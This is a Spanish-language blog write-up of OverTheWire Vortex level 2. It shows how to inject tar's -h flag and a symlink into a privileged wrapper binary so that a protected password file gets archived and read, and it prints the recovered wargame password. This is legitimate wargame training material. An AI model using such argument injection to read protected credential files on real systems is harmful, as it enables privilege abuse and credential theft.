jueves, 28 de febrero de 2013

Solución al reto overthewire vortex level 2

En este caso lo que tenemos es el siguiente enunciado:
Level Goal:
Create a special tar file
Helpful Reading Material
GNU tar manual
Code listing (vortex2.c)
 

#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>


int main(int argc, char **argv)
{
        char *args[] = { "/bin/tar", "cf", "/tmp/ownership.$$.tar",
                         argv[1], argv[2], argv[3] 
                       };
        execv(args[0], args);
}
Bueno, se trata de conocer un poco cómo funciona el programa tar, ya sabes, el empaquetador de archivos. Nuestro objetivo es coger el fichero /etc/vortex_pass/vortex3, el primer intento que podríamos hacer es éste:

/tmp$ /vortex/vortex2 /etc/vortex_pass/vortex3
/bin/tar: Removing leading `/' from member names

/tmp$ tar xf '/tmp/ownership.$$.tar'
tar: etc/vortex_pass: Cannot mkdir: Permission denied
tar: etc/vortex_pass/vortex3: Cannot open: No such file or directory
tar: Exiting with failure status due to previous errors


Como es lo más obvio y directo era de esperar que no funcionara. Dentro del tar tenemos la estructura etc/vortex_pass/vortex3 pero falla en la extracción debido a que en /tmp (la carpeta donde realizo todo ya que es en la que tengo permisos de escritura) ya existe una carpeta etc/vortex_pass.

Vamos a intentar ahora un truquillo. Vamos a hacer un enlace al fichero y tararearlo (verbo tararear, meter cosas en un tar).

/tmp$ ln -s /etc/vortex_pass/vortex3 fichero_to_loco
/tmp$ ls -l fichero_to_loco
lrwxrwxrwx 1 vortex2 vortex2 24 2013-02-28 13:35 fichero_to_loco -> /etc/vortex_pass/vortex3


Ahora lo tarareamos y descomprimimos.

/tmp$ /vortex/vortex2 fichero_to_loco
vortex2@melissa:/tmp$ rm -f fichero_to_loco
vortex2@melissa:/tmp$ tar xf 'ownership.$$.tar'
vortex2@melissa:/tmp$ cat fichero_to_loco
cat: fichero_to_loco: Permission denied
vortex2@melissa:/tmp$ ls -l fichero_to_loco
lrwxrwxrwx 1 vortex2 vortex2 24 2013-02-28 13:35 fichero_to_loco -> /etc/vortex_pass/vortex3


Vaya por dios, lo que se ha guardado no es el fichero en sí mismo sino el enlace tal cual. Leyendo el man del tar encontraremos lo siguiente:

-h, --dereference
           follow symlinks; archive and dump the files they point to


Bueno, ya con esto casi estamos :).

/tmp$ /vortex/vortex2 -h fichero_to_loco
/tmp$ tar xf 'ownership.$$.tar'
/tmp$ cat fichero_to_loco
64ncXTvx#


Y ya está, al siguiente nivel...

Saludos.

No hay comentarios:

Publicar un comentario